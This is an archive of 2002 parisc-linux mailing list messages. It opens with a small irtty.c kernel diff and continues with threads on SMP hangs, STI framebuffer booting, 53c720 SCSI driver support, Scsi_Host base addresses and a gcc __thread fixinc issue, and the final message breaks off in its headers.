===================================================================
RCS file: /var/cvs/linux/drivers/net/irda/irtty.c,v
retrieving revision 1.8
diff -u -p -r1.8 irtty.c
--- drivers/net/irda/irtty.c	2001/11/09 23:36:06	1.8
+++ drivers/net/irda/irtty.c	2002/06/02 17:05:03
@@ -760,14 +760,11 @@ static int irtty_set_dtr_rts(struct net_
 	struct irtty_cb *self;
 	struct tty_struct *tty;
 	mm_segment_t fs;
-	int arg = 0;
+	int arg = TIOCM_MODEM_BITS;
 
 	self = (struct irtty_cb *) dev->priv;
 	tty = self->tty;
 
-#ifdef TIOCM_OUT2 /* Not defined for ARM */
-	arg = TIOCM_OUT2;
-#endif
 	if (rts)
 		arg |= TIOCM_RTS;
 	if (dtr)



From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 2 Jun 2002 12:48:00 -0700 (PDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0206021214450.11012-100000@garibaldi.apptechsys.com>
References: <20020602163201.3AE44482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621351 8192 80.91.229.3 (22 Nov 2014 01:55:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 13:48:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5E646482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Jun 2002 13:48:07 -0600 (MDT)
Original-Received: from garibaldi.apptechsys.com (ssh.apptechsys.com [207.14.35.164])
	by mail.apptechsys.com (Postfix) with ESMTP
	id 27B6D7BC47; Sun,  2 Jun 2002 12:48:00 -0700 (PDT)
In-Reply-To: <20020602163201.3AE44482A@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14954

On Sun, 2 Jun 2002, Grant Grundler wrote:

> If it avoids the HPMC (but we still see other hangs), then it's
> a clue we don't have caching working right for that CPU setup.
What "other hangs" would I expect to see?  This thing hangs periodically 
anyway on SMP, and doesn't consistently give the HPMC.  Sometimes it just 
hangs.  I'm building with the change you mentioned now -- we'll see what 
happens...

OK.  No HPMC, but a new and interesting message.  The serial console 
hangs, as always.

Fetched 2696kB in 26s (103kB/s)
apt-get(263): unaligned access to 0x403ce08c at ip=0x4005e4f7
Reading Package

But, the LCD screen has a new message for me: 

INI 3001: SYS BD
PDH control init

If you think it would help, I could pay the box a visit today and get 
whatever "ser pim" or "ser pim toc" I can...


> > hth,
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 
Novinson's Revolutionary Discovery:
	When comes the revolution, things will be different --
	not better, just different.




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] STI problem on 715/50 with new kernels
Date: Sun, 2 Jun 2002 19:16:02 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <20020602191602.A1819@systemhalted>
References: <Pine.LNX.4.44.0206021923310.11687-100000@mars.it.swin.edu.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621351 8196 80.91.229.3 (22 Nov 2014 01:55:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John Newbigin <jnewbigin@it.swin.edu.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 17:16:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id D000D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Jun 2002 17:16:21 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g52NG2k14289;
	Sun, 2 Jun 2002 19:16:02 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	John Newbigin <jnewbigin@it.swin.edu.au>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.LNX.4.44.0206021923310.11687-100000@mars.it.swin.edu.au>; from jnewbigin@it.swin.edu.au on Sun, Jun 02, 2002 at 07:30:55PM +1000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14955

> I have an Appolo 715/50 with debian installed on it.  I have upgraded to 
> the 2.4.18 kernel but when the kernel boots, the STI display goes blank.  
> Everything works except I can't see the image.  When I press reset, the 
> firmware comes up and I can see the output from the linux kernel on the 
> screen still.
> 
> If someone can help it would be much appreciated.  The 2.4.9 kernel has 
> some kind of problem with the framebuffer so I can't run X.
> 
> John.
>

I would recommend getting the latest kernel source from 
cvs.paris-linux.org and compiling a new kernel with STI 
fbdev enabled. 

http://cvs.parisc-linux.org/

Make sure that the following is in your ~/.cvsrc
cvs -z3 -q
diff -uNp
update -Pd
remove -f

And then...

export  CVSROOT=:pserver:anonymous@cvs.parisc-linux.org:/var/cvs  
cvs co linux palo
cd linux
make oldconfig 
make menuconfig (enable fbdev and all the goodies you need)
... munge ./palo/Makefile for any custom parameters to your kernel
make dep
make palo

Then boot ./palo/lifimage :)

c.




From - Thu Nov 08 21:22:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Fast-Wide Diff. SCSI on a 735
Date: 02 Jun 2002 19:22:47 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <1023067367.7187.3.camel@beavis>
References: <200205291104.AA315359834@mail.centraltx.com>
	<20020529201334.8C23C482A@dsl2.external.hp.com>
	<1022707216.3cf54610c5ee8@nyepost.start.no> 
	<20020530081452.GS3471@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621351 8199 80.91.229.3 (22 Nov 2014 01:55:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:51 +0000 (UTC)
Cc: Andy Walker <squawker@start.no>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 19:22:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15EAC482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  2 Jun 2002 19:22:49 -0600 (MDT)
Original-Received: from localhost.localdomain (beavis.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id B6319BCB0; Sun,  2 Jun 2002 19:22:47 -0600 (MDT)
In-Reply-To: <20020530081452.GS3471@sleepie.demon.co.uk>
X-Mailer: Ximian Evolution 1.0.3 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14956

I am still interested in working on this.  I have some preliminary
patches that I could update to CVS head, but they really do not get
very far.  During OLS I/We plan on working on this driver some more.  I 
believe the victim system is already present in Ottawa now :)

Thanks,

- Ryan


On Thu, 2002-05-30 at 02:14, Richard Hirst wrote:
> On Wed, May 29, 2002 at 11:20:16PM +0200, Andy Walker wrote:
> > Hi folks,
> > 
> > Just picked up a free 735/99 today, so suddenly I've become interested
> > in the status of the Outfield 53c720 driver. Has there been any progress
> > or is there just no information available? I'd be happy to test patches -
> > or even dive into the code myself, but without docs that sounds a little
> > pointless.
> 
> Specs for Outfield are available now, look for hardball_ers.pdf on the
> web site.
> 
> Other 53c720 interfaces (e.g. bluefish) are supported via the
> ncr53c8xx.c driver, but that doesn't work for outfield because the 735
> is not cache coherent.  My next idea was to add basic 53c720 support to
> the 53c700 driver, as that works older hardware.  Ryan was interested in
> looking at that a while back, but I don't know what happened.  My excuse
> is that I don't have 735 h/w to test on so it is no fun - but that's a
> poor excuse really as I could use my bluefish card to get 53c700 working
> with 53c720.
> 
> 53c700.c would drive the 53c720 chip in 53c700 mode, so would be
> relatively low performance (more interrupts than you would need if you
> made the most of the 53c720 features), and it would be 8 bit only.
> Those issues could perhaps be fixed in time, and it would be better than
> nothing, anyway.
> 
> Richard
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 





From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Sun, 02 Jun 2002 21:28:54 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20020603032855.07BA0482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0206021214450.11012-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621352 8212 80.91.229.3 (22 Nov 2014 01:55:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jun  2 21:28:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 07BA0482A; Sun,  2 Jun 2002 21:28:54 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Sun, 02 Jun 2002 12:48:00 PDT." <Pine.LNX.4.44.0206021214450.11012-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14957

Jeremy Drake wrote:
> What "other hangs" would I expect to see?  This thing hangs periodically 
> anyway on SMP, and doesn't consistently give the HPMC.
> Sometimes it just hangs.

Well, we don't really know anything about hungs you've been seeing or if
it's the same problem each time. I'm comfortable the SMP kernel works
with apt-get since I'm not able to reproduce the problem with either of
the two SMP machines I have (PA8500 and PA8700).

> I'm building with the change you mentioned now -- we'll see what 
> happens...
> 
> OK.  No HPMC, but a new and interesting message.  The serial console 
> hangs, as always.
...
> But, the LCD screen has a new message for me: 
> 
> INI 3001: SYS BD
> PDH control init

hmmm...that might just be an intermediate state for HPMC.
This seems to be part of the reset sequence.

> If you think it would help, I could pay the box a visit today and get 
> whatever "ser pim" or "ser pim toc" I can...

nah...get "ser pim" tomorrow. But I may not be able to look at it until
the end of the week. Try repeating with the kluged kernel a few times and
see if it now always gets the same symptom (ie no HPMC). If it doesn't HPMC,
most likely you need to run UP kernels until someone who understands
cache handling and J5000 a bit can look at it.

grant



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Mon, 03 Jun 2002 13:04:10 +0200
Organization: H.P
Lines: 45
Approved: news@gmane.org
Message-ID: <3CFB4D2A.F86BEDC4@admin.france.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------7440234E333CE0312712558D"
X-Trace: ger.gmane.org 1416621352 8214 80.91.229.3 (22 Nov 2014 01:55:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:52 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 05:09:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id A518C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Jun 2002 05:09:43 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id AA7F7159
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Jun 2002 13:09:34 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id NAA07437 for <parisc-linux@lists.parisc-linux.org>; Mon, 3 Jun 2002 13:08:28 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14958

This is a multi-part message in MIME format.
--------------7440234E333CE0312712558D
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
Can someone can explain what is the difference between the
"hpa" of a scsi card (pci or not) and the "base" in the structure Scsi_Host ?
....
    /* These parameters should be set by the detect routine */
    unsigned long base;
    unsigned long io_port;
    unsigned char n_io_port;
    unsigned char dma_channel;
    unsigned int  irq; 
....

I'm pretty sure that it is the same, can someone say if it is wrong or not ?

	Thanks.

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------7440234E333CE0312712558D
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------7440234E333CE0312712558D--




From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Mon, 3 Jun 2002 13:26:11 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20020603132611.I10366@parcelfarce.linux.theplanet.co.uk>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com> <3CFB4D2A.F86BEDC4@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621352 8218 80.91.229.3 (22 Nov 2014 01:55:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:52 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 06:26:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D059482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  3 Jun 2002 06:26:25 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17EquZ-0005yC-00; Mon, 03 Jun 2002 13:26:11 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3CFB4D2A.F86BEDC4@admin.france.hp.com>; from bruno_vidal@hpfrcu03.france.hp.com on Mon, Jun 03, 2002 at 01:04:10PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14959

On Mon, Jun 03, 2002 at 01:04:10PM +0200, Bruno Vidal wrote:
> 	Hi
> Can someone can explain what is the difference between the
> "hpa" of a scsi card (pci or not) and the "base" in the structure Scsi_Host ?
> ....
>     /* These parameters should be set by the detect routine */
>     unsigned long base;
>     unsigned long io_port;
>     unsigned char n_io_port;
>     unsigned char dma_channel;
>     unsigned int  irq; 
> ....
> 
> I'm pretty sure that it is the same, can someone say if it is wrong or not ?

I'm no expert in the SCSI layer, but it could be that base is the base
of the _chip_ and hpa is the base of the _device_.  For example, the
hpa of the serial device is 0xffd05000 but the chip itself is at 0xffd05800.
According to drivers/scsi/lasi700.c:

        unsigned long base = dev->hpa + LASI_SCSI_CORE_OFFSET;
[...]
        hostdata->base = base;

so base != hpa.  Sorry...

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Mon, 03 Jun 2002 16:58:42 +0200 (CEST)
Lines: 48
Approved: news@gmane.org
Message-ID: <1023116322.3cfb842218471@webmail.tiscalinet.be>
References: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621353 8220 80.91.229.3 (22 Nov 2014 01:55:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:53 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 08:58:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B752482A
	for <parisc-linux@parisc-linux.org>; Mon,  3 Jun 2002 08:58:51 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17EtIA-0007SY-00; Mon, 03 Jun 2002 16:58:42 +0200
In-Reply-To: <200205311715.g4VHF4Pu006500@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14960

Dave,

Quoting John David Anglin <dave@hiauly1.hia.nrc.ca>:

> > It seems to be well comited in last cvs update this morming I got in
> > src/gcc/gcc/fixinc/inclhack.def:
> > ...
> > /*
> >  * __thread is now a keyword.
> >  */
> 
> > But do not seems to be applied as I got the same error?
> > 
> > What do I wrong or forget to do?
> 
> You should see the following in your build output:
> 
> Applying thread_keyword           to pthread.h
> Fixed:  pthread.h

It stand well in my log files and here is the result:
in {build}/gcc/include/pthread.h
...
/* Create a thread with given attributes ATTR (or default attributes
   if ATTR is NULL), and call function START_ROUTINE with given
   arguments ARG.  */
extern int pthread_create (pthread_t *__restrict __thr,
                           __const pthread_attr_t *__restrict __attr,
                           void *(*__start_routine) (void *),
                           void *__restrict __arg) __THROW;
...

Which seems to be the desired patch?

Hmm... In what changing parameter name from __thread to __thr in such function
prototype does matter (exepted if there is a border effect with some #define
else where)? [afaik this name doe not matter for a C compiler?]

So I will have to go further to analyse precompile results.

See you next,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-cvs problem
Date: Mon, 3 Jun 2002 11:12:48 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <200206031512.g53FCnh7011018@hiauly1.hia.nrc.ca>
References: <1023116322.3cfb842218471@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621353 8223 80.91.229.3 (22 Nov 2014 01:55:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jun  3 09:12:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 26455482B
	for <parisc-linux@parisc-linux.org>; Mon,  3 Jun 2002 09:12:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g53FCoFN011019
